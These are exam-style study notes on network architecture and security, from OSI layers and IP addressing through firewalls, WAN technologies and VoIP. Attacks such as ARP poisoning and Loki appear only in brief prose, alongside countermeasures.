The physical layer, layer 1, converts bits into voltage for transmission. Signals and voltage schemes have different meanings for different LAN and WAN technologies. Standard interfaces: High-Speed Serial Interface (HSSI), X.21, EIA/TIA-232 and EIA/TIA-449.

Security services defined in the OSI security model include data integrity, data confidentiality, authentication, and access control services.

A router peels back the header information until it reaches the network layer data and uses this to make its routing decisions.
Bridges understand only up to the data link layer.
Repeaters understand data only at the physical layer.
When an application formats data to be transmitted over the network, the data are called a message.

The message is sent to the transport layer, where TCP does its magic on the data. The bundle of data is now a segment. The segment is sent to the network layer.
The network layer adds routing and addressing, and now the bundle is called a datagram.
The network layer passes off the datagram to the data link layer, which frames the datagram with a header and a trailer, and now it is called a frame.

How Does it Map to TCP?

Application = Application, Presentation and Session,

Host-to-Host = Transport
Internet = Network
Network Access = DataLink, Physical.

Transmission Control Protocol/Internet Protocol (TCP/IP) is a reliable and connection-oriented protocol and is a suite of protocols that governs the way data travel from one device to another. IP is a connectionless protocol that provides the addressing and routing capabilities for each package of data.

UDP is a best-effort and connectionless protocol. It has neither packet sequencing nor flow and congestion control, and the destination does not acknowledge every packet it receives(this adds extra overhead for TCP).

Well-Known Ports
Port numbers up to 1023 (0–1023) are called well-known ports and they can be used only by privileged system or root processes.

port 25 is SMTP, port 80 is mapped to HTTP, Telnet port 23, SNMP ports 161 and 162, FTP ports 21 and 20

The TCP Handshake

The host sends a synchronous (SYN) packet to the receiver. The receiver acknowledges this by sending a SYN/ACK packet. The sending host acknowledges this with an acknowledgment (ACK) packet.

IP Addressing

IPv4 uses 32 bits for its addresses, whereas IPv6 uses 128 bits.

Class A: 0.0.0.0 to 127.255.255.255: The first byte is the network portion and the remaining three bytes are the host portion.
Class B: 128.0.0.0 to 191.255.255.255: The first two bytes are the network portion and the remaining two bytes are the host portion.
Class C: 192.0.0.0 to 223.255.255.255: The first three bytes are the network portion and the remaining one byte is the host portion.
Class D: 224.0.0.0 to 239.255.255.255: Used for multicast addresses.
Class E 240.0.0.0 to 255.255.255.255: Reserved for research.

A subnet is created from the host portion of an IP address to designate a "sub" network. This allows us to further break the host portion of the address into two or more logical groupings. A network can be logically partitioned to reduce administration headaches, traffic performance, and potentially security. Subnetting is particularly beneficial in keeping down routing table sizes because external routers can directly send data to the actual network segment without having to worry about the internal architecture of that network and getting the data to individual hosts. This job can be handled by the internal routers, which can determine the individual hosts in a subnetted environment and save the external routers the hassle of analyzing all the 32 bits of an IP address and just look at the "masked" bits.

Note: To slow down depletion of IP addresses, classless interdomain routing (CIDR) was created. A Class B address range is usually too large for most companies, and a class C address range is too small, so CIDR provides the flexibility to increase or decrease the class sizes as necessary. CIDR is the method to specify more flexible IP address classes.
IP provides addressing, packet fragmentation, and packet timeouts. To ensure that packets do not continually traverse a network forever, IP provides a Time to Live (TTL) value that is decremented every time the packet passes through a router. IP can also provide a Type of Service (ToS) capability, which means it can prioritize different packets for time-sensitive functions.

IPv6

increases the IP address size from 32 bits to 128 bits. More addresses.
Scalability of multicast routing is improved by adding a "scope" field to multicast addresses.
new type of address called an anycast address, which is used to send a packet to any one of a group of nodes.
Some IPv4 header fields have been dropped or made optional.
enable the labeling of packets belonging to particular traffic "flows" for which the sender requests special handling, such as nondefault QoS or "real-time" service.
Extensions to support authentication, data integrity, and (optional) data confidentiality. Via IPSec inbuilt into IPv6.

Network Topology

A ring topology has a series of devices connected by unidirectional transmission links, as shown in Figure 7-18. These links form a closed loop and do not connect to a central system. Example: FDDI.
In a simple bus topology, a single cable runs the entire length of the network. Nodes are attached to the network through drop points on this cable. Data communications transmit the length of the medium, and each packet transmitted has the capability of being "looked at" by all nodes.

linear bus topology has a single cable with nodes attached
tree topology has branches from the single cable, and each branch can contain many nodes.
Traditionally, Ethernet uses bus and star topologies.

In a star topology, all nodes connect to a central device such as a switch. Each node has a dedicated link to the central device.

Although Token Ring is usually thought of as a ring and Ethernet is considered a bus implementation, these descriptions apply only to how they work logically, which takes place at the data link layer. They can easily be physically implemented as a star, and they usually are.

Mesh topology is usually a network of interconnected routers and switches that provides multiple paths to all the nodes on the network.

full mesh topology: every node is directly connected to every other node(redundancy).
Partial mesh topology: every node is not directly connected(Internet)

LAN

A LAN is a network that provides shared communication and resources in a relatively small area. A WAN connects LANs over great distances geographically.

When two distinct LANs are connected by a router, the result is an internetwork, not a larger LAN. Each distinct LAN has its own addressing scheme, broadcast domain, and communication mechanisms. If two LANs are connected by a different data link layer technology, such as frame relay or X.25, they are considered a WAN

Ethernet(IEEE 802.3)
LAN-sharing technology that enables several devices to communicate on the same network.

Shares media. (All devices must take turns and collisions can take place.)
Uses broadcast and collision domains.
Uses the carrier sense multiple access with collision detection (CSMA/CD) access method.
Supports full duplex on twisted-pair implementations.
Can use coaxial or twisted-pair media.
Types:

10Base2, ThinNet, coaxial cable. Max length of 185 m,10-Mbps

requires British Naval Connectors (BNCs) to network devices.

10Base5, ThickNet, thicker coaxial cable. 10-Mbps
10Base-T, twisted-pair copper,star topology,RJ-45 connector. 10-Mbps

Fast Ethernet is regular Ethernet, except that it runs at 100 Mbps over twisted-pair wiring instead of at 10 Mbps

Token Ring(IEEE 802.5)
LAN technology. Uses a tokenpassing technology with a star-configured topology. Physically, the topology can be a star but the signals travels in a logical ring. Each computer is connected to a central hub, called a Multistation Access Unit (MAU). A device cannot put data on the network wire without having possession of a token, a control frame that travels in a logical circle and is "picked up" when a system needs to communicate. This is different from Ethernet, in which all the devices attempt to communicate at the same time. This is why Ethernet is referred to as a "chatty protocol" and has collisions. Slow compared to Ethernet. Not used much anymore.

Differences between Ethernet, Token Ring, and FDDI ?
These technologies are data link layer technologies( actually MAC layer). These LAN technologies differ in how they communicate to the protocol stack and what type of functionality they can provide.

Fiber Distributed Data Interface (FDDI)(802.8)
High-speed token-passing media access technology. 100 Mbps and is usually
used as a backbone network using fiber-optic cabling. Also provides fault tolerance by offering a second counter-rotating fiber ring. The benefit of FDDI is that it can work over long distances and at high speeds with minimal interference. It enables several tokens to be present on the ring at the same time, causing more communication to take place simultaneously, and it provides predictable delays that help connected networks and devices know what to expect and when.

Cabling

Attenuation is the loss of signal strength when a cable exceeds its maximum length.
If the cable has an outer foil shielding, it is referred to as shielded twisted pair (STP), which adds protection from radio frequency interference and electromagnetic interference.
Another type of twisted-pair cabling does not have this extra outer shielding and is called unshielded twisted pair (UTP).
STP and UTP are twisted-pair cabling types that are the most popular, cheapest, and easiest to work with. However, they are the easiest to tap into, have crosstalk issues, and are vulnerable to electromagnetic interference (EMI).
Coaxial cable is more expensive than UTP and STP, is more resistant to EMI, and can carry baseband and broadband technologies.
Fiber-optic cabling carries data as light waves, is expensive, can transmit data at high speeds, is difficult to tap into, and is resistant to EMI. If security is extremely important, fiber cabling should be used.
Because it uses glass, fiber-optic cabling has higher transmission speeds that allow signals to travel over longer distances. Fiber cabling is not as affected by attenuation and EMI when compared to cabling that uses copper. It does not radiate signals.

Transmission Methods

Difference between broadcast and multicast is that in a broadcast one-to-all transmission, everyone gets the data, whereas in a multicast, only the few who have chosen to receive the data actually get it ( the local router is informed which informs router above it etc till the whole path is decided).
Internet Group Management Protocol (IGMP) is used to report multicast group memberships to routers. When a user chooses to accept multicast traffic, she becomes a member of a particular multicast group.
IP multicast protocols use a Class D address, which is a special address space designed especially for multicasting. It can be used to send out information, multimedia data, and even real-time video and voice clips.
An MTU(maximum transmission unit) is a parameter that indicates how much data a frame can carry on a specific network. Different types of network technologies may require different MTU sizes, which is why frames are sometimes fragmented.

Ethernet Transmission

Ethernet uses CSMA as an access method to the network cable. There are two distinct types of CSMA: CSMA/CD and CSMA/CA.

Carrier sense multiple access with collision detection (CSMA/CD) protocol, they monitor the transmission activity on the wire so they can determine when would be the best time to transmit data.
Carrier sense multiple access with collision avoidance (CSMA/CA) is an access method in which each computer signals its intent to transmit data before it actually does so. This tells all other computers on the network not to transmit data right now because doing so could cause a collision.The wireless LAN technology, 802.11, uses CSMA/CA for its media access functionality.

An Ethernet network can have broadcast and collision domains. If the same subnet is divided by bridges, the bridges can enable the broadcast traffic to pass between the different parts of a subnet, but not the collisions. Isolating
collision domains reduces the amount of collisions that take place on a network and increases its overall performance. This can also help with security where network sniffers can only look at broadcast and collision traffic within one subnet.

Address Resolution Protocol (ARP).
The data link layer cannot understand the IP address and thus invokes ARP. ARP broadcasts a frame requesting the MAC address that corresponds with the destination IP address. Each computer on the subnet receives this broadcast frame, and all but the computer that has the requested IP address ignore it. The computer that has the destination IP address responds with its MAC address. Sometimes attackers alter a system's ARP table so it contains incorrect information. This is called ARP table poisoning. The attacker's goal is to receive packets intended for another computer. This is a type of masquerading attack.

DHCP based network

The client computer broadcasts a DHCPDISCOVER message on the network.
DHCP server responds with a DHCPOFFER packet, with an IP address.
Once the client responds the server with a DHCPREQUEST packet confirming its acceptance.
The server acknowledges with a DHCPACK packet, mentioning the validity period (lease) for the allocated parameters.
In DHCP, clients can masquerade as valid clients or as unofficial DHCP servers. DHCP snooping ensures that DHCP servers can assign IP addresses to only selected systems,identified by their MAC addresses. Also, advance network switches now have capability to direct clients toward legitimate DHCP servers to get IP addresses and restrict rogue systems from becoming DHCP servers on the network.

Reverse Address Resolution Protocol (RARP)
Diskless workstations use RARP frames which goes to all systems on the subnet, but only the RARP server responds. RARP server finds which IP address matches the broadcast hardware address and sends the IP address back to the requesting computer. The Boot Protocol (BOOTP) was created after RARP and usually provides more functionality to diskless workstations.RARP evolved into BOOTP, which evolved into DHCP

Internet Control Message Protocol (ICMP)
Delivers status messages, reports errors, replies to certain requests, reports routing information, and is used to test connectivity and troubleshoot problems on IP networks. Example, ping sends out ICMP ECHO REQUEST frames. The router selects the proper ICMP response and sends it back to the requesting host, indicating that problems were encountered with the transmission request.

Loki Attack
Loki is actually a client/server program used by hackers to set up backdoors on systems. To gain access and open a remote shell to this computer, an attacker sends commands inside of ICMP packets. Most routers are configured to allow ICMP traffic to come and go out of the network, based on the assumption that this is safe because ICMP was developed to not hold any data or a payload.

Routing Protocols

Individual networks on the Internet are referred to as autonomous systems (ASs). A dynamic routing protocol can discover routes and build a routing table vs static that requires manual configuration. Route flapping refers to the constant changes in the availability of routes. A black hole is when a router doesn't know a link is down and sends messages.

Distance-vector routing protocols make their routing decisions based on the distance (or number of hops) and a vector (a direction). Example:

Routing Information Protocol RIP is a standard that outlines how routers exchange routing table data. Should be used only in smaller networks.V1 has no authentication, V2 sends passwords in cleartext or hashed with MD5.
Interior Gateway Routing Protocol IGRP is distance-vector as well but uses five criteria to make a "best route" decision.

Link-state routing protocols build a more accurate routing table because they build a topology database of the network. They look at number of hops between two destinations, packet size, link speed, delay, loading, and reliability.

Open Shortest Path First OSPF uses link-state algorithms to send out routing table information. Allows for smaller, more frequent routing table updates to take place.

Exterior gateway protocols (EGPs)
Exterior routing protocols used by routers connecting different ASs. The Border Gateway Protocol (BGP) enables routers on different ASs to share routing information to ensure effective and efficient routing between the different AS networks. BGP is commonly used by ISPs. It uses a combination of link-state and distance-vector routing algorithms.

Attacks

A majority of the attacks have the goal of misdirecting traffic through the use of spoofed ICMP messages.
An attacker can masquerade as another router and submit routing table information to the victim router resulting in incorrect dispatch.
These attacks are successful mainly when routing protocol authentication is not enabled.
Other DoS attacks exist, such as flooding a router port, buffer overflows, and SYN floods.

Most of these countermeasures involve authentication and encryption of routing data through the use of shared keys or IPSec.

Wormhole Attack

An attacker can capture a packet at one location in the network and tunnel it to another location in the network(attacker # 2). This can take place on a wired or wireless network, but it is easier to carry out on a wireless network because the attacker does not need to actually penetrate a physical wire.

The countermeasure is to use a leash, which is just data that are put into a header of the individual packets. The leash restricts the packet's maximum allowed transmission distance. The leash can be either geographical, which ensures that a packet stays within a certain distance of the sender, or temporal, which limits the lifetime of the packet.

Networking Devices

A repeater provides the simplest type of connectivity, because it only repeats and amplifies electrical signals between cable segments.
A hub is a multiport repeater. A hub is often referred to as a concentrator. A hub does not understand or work with IP or MAC addresses. The signal is broadcast to all the ports, and thus to all the systems connected to the concentrator.
A bridge is a LAN device used to connect LAN segments. It works at the data link layer and therefore works with MAC addresses. If the MAC address is not on the local network segment, the bridge forwards the frame to the necessary network segment.

A bridge is used to divide overburdened networks into smaller segments to ensure better use of bandwidth and traffic control. A bridge has more intelligence than a repeater.
bridges can forward all broadcast packets and can overwhelm the network and result in a broadcast storm.
If the bridge receives a request to send a frame to a destination that is not in its forwarding table, it sends out a query frame on each network segment except for the source segment. The destination host is the only one that replies to this query. The bridge updates its table with this computer address and the port to which it is connected, and forwards the frame.
Spanning Tree Algorithm (STA) ensures that frames do not circle networks forever, provides redundant paths in case a bridge goes down, assigns unique identifiers to each bridge, assigns priority values to these bridges, and calculates path costs.
If source routing is used instead of transparent bridging, the packets contain the necessary information within them to tell the bridge where they should go. External devices and border routers should not accept packets with source routing information within their headers, because that information will override what is laid out in the forwarding and routing tables. Source routing can be used by attackers to get around certain bridge and router filtering rules.
A local bridge connects two or more LAN segments within a local area.
A remote bridge can connect two or more LAN segments over a MAN
A translation bridge is needed if the two LANs being connected are different types and use different standards and protocols. Example, a connection between a Token Ring network and an Ethernet network.

Routers

Routers are layer 3, or network layer, devices that are used to connect similar or different networks and filter packets based on IP addresses, whereas bridges work at the data link layer and filter frames based on MAC addresses. Routers usually do not pass broadcast information, but bridges do pass broadcast information.
If two LANs are connected with a bridge, the LANs have been extended, and are in the same broadcast domain. A router can be configured not to forward broadcast information, so if two LANs are connected with a router, an internetwork results. An internetwork is a group of networks connected in a way that enables any node on any network to communicate with any other node. The Internet is an example of an internetwork.
A router is used when an administrator wants to divide a network along the lines of departments, workgroups, or other business-oriented divisions. A bridge divides segments based more on the traffic type and load.

Switch

Switches combine the functionality of a repeater and the functionality of a bridge. Any device connected to one port can communicate with a device connected to another port with its own virtual private link. When a frame comes to a hub, the hub sends the frame out through all of its ports. When a frame comes to a bridge, the bridge sends the frame to the port to which the destination network segment is connected. When a frame comes to a switch, the switch sends the frame directly to the destination computer or network.
When switches are used, contention and collisions are not issues.
higher-level switches(layer 3, 4), also called multilayered switches
offer routing functionality, packet inspection, traffic prioritization, and QoS functionality. Most functions are done at the hardware/chip level.
Multiprotocol Label Switching (MPLS), allows for faster routing, addresses service requirements for the different packet types. It basically uses tags to append info to the packet and only look at this tag to speed things up.
switching makes it more difficult for intruders to sniff and monitor network traffic because no broadcast and collision information is continually traveling throughout the network.
Switching makes VLANs possible and it exists on top of the physical network. VLANs enable an administrator to apply particular security policies to respective logical groups.

Gateway

Gateway is a general term for software running on a device that connects or translates two different environments.
A network access server (NAS) can functions as a gateway between telecommunications and network connections.
Examples, e-mail gateway( gateway will convert the message into a standard that all mail servers understand—usually X.400), gateway between a LAN and a backbone such as FDDI backbone.

PBX

is a private telephone switch that is located on a company's property. This switch performs some of the same switching tasks that take place at the telephone company's central office. The PBX has a dedicated connection to its local telephone company's central office, where more intelligent switching takes place.
Many companies, for example, have modems hanging off their PBX (or other transmission access methods) to enable the vendor to dial in and perform maintenance to the system. These modems are usually unprotected doorways into a company's network.
many PBX systems have default system manager passwords that are hardly ever changed. These can be exploited by a phreaker (a phone hacker)

Firewalls

Packet filtering(first generation)
is a security method of controlling what data can flow into and out of a network. Packet filtering takes place by using ACLs, which are lines of text, called rules, that the device applies to each packet it receives.

Packet-filtering firewalls are scalable, not application dependent, have high performance because they do not carry out extensive processing.

weaknesses:

Cannot prevent attacks that employ application-specific vulnerabilities.
The logging functionality present is limited.
Most do not support advanced user authentication schemes.
Many cannot detect a network packet in which the OSI layer 3 addressing information has been altered (spoofed).
Due to the small number of variables used in access control decisions, they are susceptible to security breaches caused by improper configurations.

A stateful-inspection firewall maintains a state table, which is like a score sheet of who said what to whom. They work at the network and transport layers. Unfortunately they have been the victims of many types of Denial-of-Service (DoS) attacks aimed at flooding the state table with bogus information

Proxy firewalls are second-generation firewalls. It stands between a trusted and untrusted network and makes the connection, each way, on behalf of the
source. There is no direct connection to internal computers.

Stateful-Inspection Firewall is considered a third-generation firewall. it makes a copy of each accepted packet before transmitting it and repackages the packet to hide the packet's true origin thus attacker don't get the source info.

Maintains a state table
Provides a high degree of security and does not introduce the performance hit that application proxy firewalls introduce
Is scalable and transparent to users
Provides data for tracking connectionless protocols such as UDP and ICMP
Stores and updates the state and context of the data within the packets

Many firewalls are multihomed, meaning they have more than one NIC. This allows the company to create several independent DMZs. One interface is connected to the untrusted network (usually the Internet), another interface is
connected to the trusted network (internal company network), and the other interfaces can segment different DMZs.

Pros and Cons of Proxy Firewalls
Pros:

Looks at the information within a packet, possibly all the way up to the application layer.
Provides better security than packet filtering.
Breaks the connection between trusted and untrusted systems.

Cons:

Some proxy firewalls support only a limited number of applications.
Degrades traffic performance.
Application-based proxy firewalls may have scalability and performance issues.
Breaks the client/server model, which is good for security but sometimes bad for functionality.

Application-level proxies inspect the packet up through the application layer and make access decisions based on the content of the packet.

Have a different proxy required for each service allowed
Provide more intricate control than circuit-level proxy firewalls
Require more processing per packet and thus are slower than a circuit-level proxy firewall
They have extensive logging capabilities
capable of authenticating users directly
can address spoofing attacks and other sophisticated attacks.
Tend to be limited in terms of support for new network applications and protocols.

A circuit-level proxy creates a circuit between the client computer and the server and provides protection at the session layer. It does not understand or care about the higher-level issues an application-level proxy deals with. It knows the source and destination addresses and makes access decisions based on this type of header information. Similar to packet filtering.

Do not require a proxy for each and every service
Do not provide the detailed access control an application-level proxy firewall provides
Provide security for a wider range of protocols

SOCKS

is an example of a circuit-level proxy gateway that provides a secure channel between two computers. SOCKS proxy firewall intercepts client requests to the internet, applies policies/rules on it and does the same for response from the internet.
The SOCKS server usually sits behind a router, and each SOCKS client must have SOCKS software installed.
It can be resource intensive.
It provides authentication and encryption features similar to other VPN protocols, but is not considered a traditional VPN protocol.

Dynamic Packet Filtering
Fourth-generation firewall. An internal system could choose a source port of 11,111 for its message to the outside system. This frame goes to the dynamic packet-filtering firewall, which builds an ACL, as illustrated in Figure 7-37, that indicates a response from the destination computer to this internal system's IP address and port 11,111 is to be allowed.

A kernel proxy firewall is considered a fifth-generation firewall. It differs from all the previously discussed firewall technologies because it creates dynamic, customized TCP/IP stacks when a packet needs to be evaluated. The packet is scrutinized at every layer of the stack.It is still a proxy based system and it can perform NAT by changing the source address, as do the preceding proxy-based firewalls.

Best practices for any firewall type:

lock ICMP redirect traffic.
ACLs should be simple and direct.
Disallow source routing.
Close unnecessary ports with dangerous services.
Disable unused interfaces.
Block directed IP broadcasts.
Block incoming packets with internal address (they are spoofed).
Block multicast traffic if not needed.
Enable logging.

Bastion host is just another name for a locked-down (or hardened) system. A bastion host is usually a highly exposed device, because it is the front line in a network's security and its existence is known on the Internet.

A screened host(single-tiered configuration) is a firewall that communicates directly with a perimeter router and the internal network( the firewall is screened by the router). If the firewall is an application-based system, protection is provided at the network layer by the router, and at the application layer by the proxy. This arrangement offers a high degree of security, because for an attacker to be successful, she would have to compromise two systems.

A screened-subnet (two-tiered configuration) architecture adds another layer of security to the screened-host architecture. The external firewall screens the data entering the DMZ network. However, instead of the firewall then redirecting the traffic to the internal network, an interior firewall also filters the traffic. The use of these two physical firewalls creates a DMZ. The screened-subnet approach provides more protection than a stand-alone firewall or a screened-host firewall because three devices are working together. This solution provides the highest security, but is the most complex.

Firewall Tips

zombies : some program, on the internal network is spoofing traffic. —the agents used in distributed DoS (DDos) attacks.
If packets are leaving a network with different source addresses, these packets are spoofed and the network is most likely being used as an accomplice in a DDoS attack.
its firewalls should reassemble fragmented packets before being sent on to their destination. With fragmented packet the firewall is seeing only part of the picture.
Deny source routing.
Dual-homed: Must disable a computer's forwarding and routing functionality so the two networks are truly segregated.
Border firewalls provide little protection against the inside attacker.
Firewalls do not protect against rogue modems in listening mode.
Firewalls do not protect against rogue wireless access points (APs).

Network Segregation and Isolation

implement routers that do not pass on broadcast and collision domain information and using different address schemes for different segments.

Within DNS servers, DNS namespaces are split up administratively into zones. For instance, one zone may contain all hostnames for the marketing and accounting department. resource records(map hostnames to IP addresses).

Unauthorized zone transfers(between dns servers) can take place if the DNS servers are not properly configured to restrict it.
DNS pharming attacks
use of stronger authentication mechanisms such as the DNSSEC (DNS security)
split DNS, which means a DNS server in the DMZ handles external resolution requests, while an internal DNS server handles only internal requests. This helps ensure that the internal DNS has layers of protection and is not exposed by being "Internet facing."
Awareness of domain grabbing and cyber squatting issues will help you better plan out your online presence and allow you to steer clear of these traps.
host file manipulation
attackers also use character encoding to obscure web addresses that may arouse user suspicion
Most directory service databases are built on the X.500 model and use the Lightweight Directory Access Protocol (LDAP) to access the directory database

A meta-directory holds top-level information about the directory itself, which enables a user in one directory to quickly locate an object he is looking for in a totally different directory.
The newest LDAP version, version 3, has an extensive security model embedded that supports Internet security standards such as transport layer security (TLS).

NAT

is a gateway that lies between a network and the Internet (or another network) that performs transparent routing and address translation.

great security benefit by hiding the true IP scheme.
NAT enables a company to use private IP addresses that have been reserved for internal LAN address use, as outlined in RFC 1918
Static mapping: The NAT software has a pool of public IP addresses configured. Each private address is statically mapped to a specific public address. This is generally used for servers that need to keep the same public address at all times.
Dynamic mapping The NAT software has a pool of IP addresses, but instead of statically mapping a public address to a specific private address, it works on a first-come, first-served basis.
Port address translation (PAT) The company owns and uses only one public IP address for all systems that need to communicate outside the internal network.

The NAT device changes the IP address in the computer's packet header to include the source port which is mapped to private ip address and private computers source port..
Most NAT implementations are stateful, meaning they keep track of a communication between the internal host and an external host until that session is ended.
NAT is a service usually performed on routers or firewalls within a company's screened subnet.

Intranets/Extranets/Telecommunications

companies use EDI(electronic data interchange) for internal communication and for communication with other companies.
A value-added network (VAN) is an EDI infrastructure developed and maintained by a service bureau.
A metropolitan area network (MAN) is usually a backbone that connects LANs to each other and LANs to WANs, the Internet, and telecommunications and cable networks. A majority of today's MANs are Synchronous Optical Networks (SONETs) or FDDI rings provided by the telecommunications service providers.
SONET is self-healing, meaning that if a break in the line occurs, it can use a backup redundant ring to ensure transmission continues.
SONET, which transmitted digitized voice signals in packets and is the standard for telecommunications transmission over fiber-optic cables.
T1 trunks, which carried 24 voice communication calls over two pairs of copper wires.
longer-distance call uses T3 lines, which can carry up to 28 T1 lines.
Communication error rates are lower in LAN environments than in WAN environments, because of the complexity of WAN where traffic may have to travel hundreds or thousands of miles/devices. So most LAN MAC protocols are connectionless and most WAN communication protocols are connection oriented.
Asynchronous Transfer Mode (ATM) encapsulates data in fixed cells and can be used to deliver data over the SONET network.
SONET is the standard for North America, while SDH(Synchronous Digital Hierarchy) is the standard for the rest of the world. SDH and SONET are similar but just different enough to be incompatible.

Dedicated Links
A dedicated link is also called a leased line or point-to-point link. Other options include X.25, frame relay, and ATM technologies.

Originally, T1 and T3 lines were used by the carrier companies, but they have been replaced mainly with optical lines.
fractional T lines are split up between companies.
They are expensive and inflexible.
multiplex functionality through time-division multiplexing (TDM).
Statistical time-division multiplexing (STDM):Transmits several types of data simultaneously across a single transmission cable or line (such as a T1 or T3.
Frequency-division multiplexing: An available wireless spectrum is used to move data.Each frequency within the spectrum is used as a channel to move data.

WAN Technologies

A CSU/DSU is necessary because the signals and frames can vary between the LAN equipment and the WAN equipment used by service providers.

DSU device converts digital signals from routers, bridges, and multiplexers into signals that can be transmitted over the telephone company's digital lines.

The CSU/DSU provides a digital interface for Data Terminal Equipment (DTE), such as terminals, multiplexers, or routers,and an interface to the Data Circuit-Terminating Equipment (DCE) device, such as a carrier's switch.

Switching

Circuit switching sets up a virtual connection that acts like a dedicated link between two systems. Eg: ISDN and telephone calls.
Packet switching, on the other hand, does not set up a dedicated virtual link, and packets from one connection can pass through a number of different individual devices. Examples; Internet, X.25, and frame relay.

Packet switching is based on STDM.

Frame relay is a WAN protocol that operates at the data link layer and uses packet-switching technology to share the same WAN media.

companies can pay more to ensure that a higher level of bandwidth will always be available pay a committed information rate(CIR)

Frame relay (and X.25) forwards frames across virtual circuits.

permanent virtual circuit (PVC) works like a private line for a customer with an agreed-upon bandwidth availability.
for switched virtual circuits (SVCs), a circuit must be built.

X.25 is a switching technology that uses carrier switches to provide connectivity for many different networks. Data are divided into 128 bytes and encapsulated in High-level Data Link Control (HDLC) frames.

frame relay is much more advanced and efficient when compared to X.25, because the X.25 protocol was developed and released in the 1970s.
Asynchronous Transfer Mode (ATM) is another switching technology, but it uses a cell-switching method.

Like frame relay, it is a connection-oriented switching technology, and creates and uses a fixed channel.
Transfers data in fixed cells( 53-byte), is a WAN technology
Data at very high rates.Very fast because of the low overhead
virtual circuits used can guarantee bandwidth and QoS. For these reasons, ATM is a good carrier for voice and video transmission.

Quality of Service (QoS)

Constant Bit Rate (CBR) A connection-oriented channel that provides a consistent data throughput for time-sensitive applications, such as voice and video applications.
Variable Bit Rate (VBR) A connection-oriented channel best used for delay-insensitive applications because the data throughput flow is uneven
Unspecified Bit Rate (UBR) A connectionless channel that does not promise a specific data throughput rate.
Available Bit Rate (ABR) A connection-oriented channel that allows the bit rate to be adjusted

Switched Multimegabit Data Service (SMDS) is a high-speed packet-switched technology used to enable customers to extend their LANs across MANs and WANs.
Synchronous Data Link Control (SDLC) protocol is based on networks that use dedicated, leased lines with permanent physical connections.
High-level Data Link Control (HDLC) protocol is also a bit-oriented link layer protocol used for transmission over synchronous lines. HDLC is an extension of SDLC.
High-Speed Serial Interface (HSSI) is an interface used to connect multiplexers and routers to high-speed communications services such as ATM and frame relay.
Multiservice access technologies combine several types of communication categories (data, voice, and video) over one transmission line.
The regular phone system is based on a circuit-switched, voice-centric network, referred to as the public-switched telephone network (PSTN).

The PSTN is being replaced by data-centric, packet-oriented networks that can support voice, data, and video.

When Voice over IP (VoIP) is used, it employs the Session Initiation Protocol (SIP), which sets up and breaks down the call sessions, just as SS7 does for non-IP phone calls.

SIP consists of two major components: the User Agent Client (UAC) and User Agent Server (UAS). The UAC is the application that creates the SIP requests for initiating a communication session. The UAS is the SIP server, which is responsible for handling all routing and signaling involved in VoIP calls.
SIP Handshaking: INVITE packet to destination while a continuous TRYING packet to originator. Then a RINGING packet to origin, then an OK packet. ACK packet from origin to destination.A BYE is send at the end.
The actual voice stream is carried on media protocols such as the Real-time Transport Protocol (RTP).
SIP-based signaling suffers from the lack of encrypted call channels and authentication of control signals. Attackers can tap into the SIP server and client communication to sniff out login IDs, passwords/PINs, and phone numbers.
VoIP devices are also vulnerable to DoS attacks. Attackers can flood RTP servers with call requests in order to overwhelm its processing capabilities.
One can connect laptops simulating IP phones to the Ethernet interfaces that IP phones use and can then be used to carry out intrusions and DoS attacks.
If attackers are able to intercept voice packets, they may eavesdrop onto ongoing conversations as well.
Attackers can also intercept RTP packets to inject arbitrary audio/video data that may be a cause of annoyance to the actual participants.
Attackers can also impersonate a server and issue commands.
SPIT (Spam over Internet Telephony) causes serious loss of VoIP bandwidth and is a time-wasting nuisance. It cannot be deleted like spam on first sight, the victim has to go through the entire message. SPIT is also a major cause of overloaded voicemail servers.

Countermeasures

Authorization of individual IP terminals ensures that only pre-listed devices are allowed to access the network.
It is essential for two communicating VoIP devices to be able to authenticate their identities by using fixed hardware identification parameters, such as MAC addresses or other "soft" codes that may be assigned by servers (for example, layered encryption techniques).
Keep patches updated on each network device.
Install and maintain; Stateful firewalls,VPN,, Intrusion detection.
Filter unnecessary ports on routers, switches, PCs, and IP telephones.
Employ real-time monitoring that looks for attacks, tunneling, and abusive call patterns through IDS/IPS.
Employ content monitoring.
Use encryption when data (voice, fax, video) cross an untrusted network.

Use a two-factor authentication requirement.
Limit the number of calls via media gateways.
Close the media sessions after completion.

Transport Layer Security (TLS) ensures that all SIP packets are
conveyed within an encrypted and secure tunnel.

Skype is a popular Internet telephony application that uses a peer-to-peer communication model rather than the traditional client/server approach of VoIP systems. User records are maintained across distributed member nodes and can quickly accommodate user surges
Applications that are time sensitive, such as voice and video signals, need to work over an isochronous network. An isochronous network contains the necessary protocols and devices that guarantee continuous bandwidth without interruption.
H.323 Gateways

The ITU-T recommendations cover a wide variety of multimedia communication services. H.323 is part of this family of recommendations, but it is also a standard that deals with video, real-time audio, and data packet-based transmissions where multiple users can be involved with the data exchange.
H.323 gateways connect different types of systems and devices and provide the necessary translation functionality
The best of both worlds is to combine IP over ATM or frame relay.

A company has on its premises a PBX, which is a switch between the company and the PSTN, and T1 or T3 lines connecting the PBX to the telephone company's central office, which houses switches that act as ramps onto the PSTN. When WAN technologies are used instead of accessing the PSTN through the central office switches, the data are transmitted over the frame relay, or ATM, cloud

Remote Access

Types of remote connectivity methods used are VPNs, dial-up connections, ISDN, cable modems, and DSL connections. Remote access is usually gained by connecting to a remote access server (RAS), which acts as a gateway and can be an endpoint to a PPP session. RADIUS is a type of access authentication technology used in remote-connection situations.Strong two-factor user authentication should be used via RADIUS or TACACS+ servers.
Caller ID and callback settings, as well as two-factor authentication, can be configured on the RAS server. Callback option requires the RAS to call the user requesting access in return.

If a company has not implemented any (or strong) access control over the RAS, attackers can easily walk into its network without ever having to bother with the firewall.
Wardialing enables an attacker to find all the modems that provide remote access into a network.

Some corporate PBX phone systems have the capability to detect modem signals on analog phone lines and audit/record their usage. This can be implemented to support the appropriate security policy of "no unauthorized devices are to be attached to the data and telephone network."

ISDN

was developed to replace the aging telephone analog systems, but it has yet to catch on to the level expected.
ISDN is a set of telecommunications services that can be used over public and private telecommunications networks and provides a digital point-to-point circuit-switched medium
ISDN provides more functionality and higher bandwidth than a modem on an as-needed basis and can be used for LAN-to-LAN on-demand connectivity, instead of using an expensive dedicated link.
Basic Rate Interface (BRI)

BRI has two B channels that enable data to be transferred and one D channel that provides for call setup, connection management, error control, caller ID, and more. bandwidth available with 144 Kbps

Primary Rate Interface PRI, which has 23 B channels and one D channel, is more commonly used in corporations.64KBPS per channel.
company can also choose to implement dial-on-demand routing (DDR), which can work over ISDN.

